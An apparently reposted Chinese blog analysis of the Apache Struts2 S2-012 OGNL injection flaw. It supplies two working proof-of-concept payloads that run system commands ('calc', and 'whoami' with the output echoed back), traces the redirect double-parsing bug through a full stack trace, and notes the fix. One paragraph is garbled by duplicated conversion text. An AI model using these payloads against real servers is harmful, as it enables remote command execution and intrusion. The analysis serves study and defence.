Struts2 012 漏洞分析

news/2024/11/29 6:40:10/

0x00 前言

之前的003,005,009都是基于参数本身的ONGL注入,012则是基于参数值的ONGL注入

0x01 环境

还是建议使用vulhub

poc:

无回显

%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec('calc'))}

有回显

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

0x02 正文

还是在\xwork-core-2.2.3.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class#doIntercept

在这里插入图片描述跟进invoke

在这里插入图片描述
然后继续跟进,知道到达处理<result name="redirect" type="redirect">/redirect.action?user=${name}</result>,struts2可以通过redirect跳转url或者其他action,在跳转action的时候,如果存在 n a m e 进行解析的时候,如果遇到 o n g l 就会进行解析,由于 p o s 没有重置的问题,会进行二次解析,第一次解析 ‘ name进行解析的时候,如果遇到ongl就会进行解析,由于pos没有重置的问题,会进行二次解析,第一次解析` name进行解析的时候,如果遇到ongl就会进行解析,由于pos没有重置的问题,会进行二次解析,第一次解析name,第二次会解析$name`的值。

在这里插入图片描述
完整Stack:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:871, OgnlRuntime (ognl)
callAppropriateMethod:1273, OgnlRuntime (ognl)
callMethod:68, ObjectMethodAccessor (ognl)
callMethodWithDebugInfo:117, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:108, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:1349, OgnlRuntime (ognl)
getValueBody:90, ASTMethod (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValueBody:141, ASTChain (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValueBody:58, ASTEval (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:494, Ognl (ognl)
getValue:217, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:342, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:331, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:307, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:293, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:350, OgnlValueStack (com.opensymphony.xwork2.ognl)
translateVariables:196, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:129, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:73, TextParseUtil (com.opensymphony.xwork2.util)
conditionalParse:198, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:185, StrutsResultSupport (org.apache.struts2.dispatcher)
execute:158, ServletRedirectResult (org.apache.struts2.dispatcher)
executeResult:373, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:277, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:176, DefaultWorkflowInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:263, ValidationInterceptor (com.opensymphony.xwork2.validator)
doIntercept:68, AnnotationValidationInterceptor (org.apache.struts2.interceptor.validation)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:133, ConversionErrorInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:207, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:207, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:75, MultiselectInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:94, CheckboxInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:243, FileUploadInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:100, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:141, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:270, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:145, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:171, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, I18nInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:164, ServletConfigInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, AliasInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:187, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
execute:52, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:498, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:233, StandardWrapperValve (org.apache.catalina.core)
invoke:191, StandardContextValve (org.apache.catalina.core)
invoke:127, StandardHostValve (org.apache.catalina.core)
invoke:103, ErrorReportValve (org.apache.catalina.valves)
invoke:109, StandardEngineValve (org.apache.catalina.core)
service:293, CoyoteAdapter (org.apache.catalina.connector)
process:859, Http11Processor (org.apache.coyote.http11)
process:610, Http11Protocol$Http11ConnectionHandler (org.apache.coyote.http11)
run:503, JIoEndpoint$Worker (org.apache.tomcat.util.net)
run:748, Thread (java.lang)

0x03 修复方式

通过不重置pos的方式,仅允许ONGL执行一次的方式进行修复

在这里插入图片描述


http://www.ppmy.cn/news/104950.html

相关文章

序列模型基础概念

一、公式定义 在时间 t t t观察到 x t x_{t} xt​&#xff0c;那么得到 T T T个不独立的随机变量 ( x 1 , . . . , x T ) − p ( X ) (x_{1},...,x_{T})-p(X) (x1​,...,xT​)−p(X) 由条件概率公式&#xff1a; p ( a , b ) p ( a ) p ( b ∣ a ) p ( b ) p ( a ∣ b ) p(a,…

特征选择及特征提取

特征 什么是特征&#xff1a; 举个例子&#xff1a;一个妹子很好看&#xff0c;好看的在哪里&#xff1f;腿长&#xff08;特征1&#xff09;&#xff0c;白&#xff08;特征2&#xff09;&#xff0c;性格开朗&#xff08;特征3&#xff09; 那么可以概括为好看妹子的特征是…

“老年养生”APP的设计与开发

摘要&#xff1a;我国人口老龄化呈上升趋势&#xff0c;老年人口比重增加。这是我国经济发展的一大挑战&#xff0c;也是老年健康产业的一大机遇。随着我国经济发展&#xff0c;越来越多的人开始关注自己的身体&#xff0c;这导致各种关于健康的网络应用层出不穷。但是经过分析…

PLC通信协议【西门子】几种常见的连接口和通讯协议简介

协议背景 1,mpi接口、dp接口、rs485接口、rs232接口具体区别? (一)mpi接口、dp接口:这两者均为基于RS485接口(可以理解为硬件标准)。mpi与dp是通信协议的名称(可以理解为软件)。 (二)MPI:MPI是多点接口(Multi Point Interface)的简称,是西门子公司开发的用于P…

代码随想录算法训练营第四十五天 | 力扣 70. 爬楼梯(进阶), 322. 零钱兑换, 279.完全平方数

70. 爬楼梯&#xff08;进阶&#xff09; 题目 70. 爬楼梯 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 改为&#xff1a;一步一个台阶&#xff0c;两个台阶&#xff0c;三个台阶&#xff…

SocketTools .NET Edition 11.0 Crack

SocketTools .NET Edition 一套 .NET 类&#xff0c;可轻松向软件添加 Internet 功能&#xff0c;支持 .NET 4.0 至 .NET 8.0。 特征 SocketTools 提供入门所需的一切&#xff0c;包括文档和示例&#xff0c;以及免费技术支持来回答您的开发问题。 Visual Studio 2022 和 .NE…

《简单的http网站的构建》

【一】什么是协议 通过udp和tcp协议大家知道&#xff0c;无论是以数据报还是字节流的方式去把信息传送出去&#xff0c;都需要将我们所有的信息转化为字符串的形式进行发送&#xff0c;这叫序列化&#xff0c;在另外一头将字符串转化为我们所需要的信息&#xff0c;这是反序列…

Python中如何打印输出?

当你开始学习Python编程语言时&#xff0c;第一个要学习的内容之一就是如何在Python中打印输出。这个问题可能看起来很简单&#xff0c;但它实际上包含了许多不同的方面。在本篇博客中&#xff0c;我将向您展示如何在Python中进行基本的输出&#xff0c;并介绍一些高级用法和技…